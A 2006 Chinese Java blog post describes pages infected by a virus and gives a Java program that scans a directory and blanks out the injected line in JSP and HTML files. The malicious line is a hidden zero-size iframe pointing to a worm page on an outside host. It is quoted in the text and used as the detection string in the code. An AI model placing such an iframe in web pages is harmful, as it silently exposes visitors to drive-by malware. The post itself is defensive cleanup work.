小鱼的空气
记录我所思
BlogJava
联系
聚合
管理
1 Posts :: 9 Stories :: 2 Comments :: 0 Trackbacks
常用链接
我的随笔
我的评论
我的参与
最新评论
留言簿
(2)
给我留言
查看公开留言
查看私人留言
我参与的团队
深圳Java开发者之家(0/0)
随笔档案
2007年4月 (1)
文章档案
2008年7月 (1)
2007年6月 (1)
2007年4月 (2)
2006年12月 (1)
2006年11月 (2)
2006年10月 (2)
搜索
最新评论
1. re: 修复被病毒修改的网页
评论内容较长,点击标题查看
--崩溃边缘
2. re: Spring 中方法的替换
呵呵,支持下!
--冰川
修复被病毒修改的网页
前几天机器中毒,开始时只是IE弹弹窗口,后来严重到不可以忍受以至重装,今天打开一些J以前备份下来的JSP文件看看,每个文件最后都加上了一行
:"
<
iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
",这样打开这些网页就可能中招,再看看HTML文件也同样遭此毒手。
于是便开始用Java写个小程序来修复这些文件,要高效率地修复这些文件,看来只能使用RandomAccessFile,因为其它的IO流都是顺序读写的,而RandomAccessFile可以跳到指定的位置。方法很简单,计算一下这行垃圾的起始位置,然后用空格替换之。没什么好说的,值得注意的是写空格时,只有用randomAccessFile.writeBytes(" ")才行,其它的写方法会写入乱码,待探究。
下面将代码贴上,以备忘。
package
hy;
import
java.io.File;
import
java.io.FileNotFoundException;
import
java.io.FilenameFilter;
import
java.io.RandomAccessFile;
public
class
RepairPage
{
private
static
int
num;
private
String worm
=
"
<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
"
;
public
void
repair(File page)
{
//
System.out.println("Try File:"+page.getPath());
try
{
RandomAccessFile r
=
new
RandomAccessFile(page,
"
rw
"
);
if
(r.length()
<
70
)
return
;
r.seek(r.length()
-
70
);
//
跳到最后一行
String shit
=
r.readLine();
if
(shit.equals(worm))
{
//
System.out.println("shit content:"+shit);
System.out.println(
"
修复损坏文件:
"
+
page.getPath());
r.seek(r.length()
-
70
);
for
(
int
i
=
0
; i
<
worm.length(); i
++
)
{
r.writeBytes(
"
"
);
}
num
++
;
}
}
catch
(Exception e)
{
e.printStackTrace();
}
}
public
void
doDir(File dir)
{
if
(dir.canRead())
{
if
(dir.isDirectory())
{
String[] files
=
dir.list();
if
(files
!=
null
)
{
for
(
int
i
=
0
; i
<
files.length; i
++
)
{
doDir(
new
File(dir, files[i]));
//
递归
}
}
}
else
{
//
is File
String name
=
dir.getName();
if
(name.endsWith(
"
jsp
"
)
||
name.endsWith(
"
html
"
)
||
name.endsWith(
"
htm
"
))
repair(dir);
}
}
}
public
static
void
main(String[] args)
{
File dir
=
new
File(
"
c:\\pages
"
);
RepairPage repair
=
new
RepairPage();
repair.doDir(dir);
System.out.println(
"
修复成功完成,修复文件数:
"
+
repair.num);
}
}
posted on 2006-12-20 19:23
小鱼
阅读(81)
评论(1)
编辑
收藏
Feedback
#
re: 修复被病毒修改的网页
2007-12-24 23:25
崩溃边缘
你好 我也被类似的病毒感染了
硬盘里有7000多个html和htm文件被感染!
不懂java,有朋友刚学.
能否帮助一下?
我的邮箱 369308529@qq.com
回复
更多评论
IT新闻
新用户注册
刷新评论列表
标题
姓名
主页
验证码
*
内容(请不要发表任何与政治相关的内容)
Remember Me?
登录
使用高级评论
新用户注册
返回页首
恢复上次提交
[使用Ctrl+Enter键可以直接提交]
该文被作者在 2006-12-20 19:28 编辑过
相关链接:
网站导航:
博客园
BlogJava
博客生活
IT博客网
C++博客
PHP博客
博客园社区
管理博客
教师博客
天文博客
汽车博客
足球博客
股票博客
电子博客
管理
Powered by:
BlogJava
Copyright © 小鱼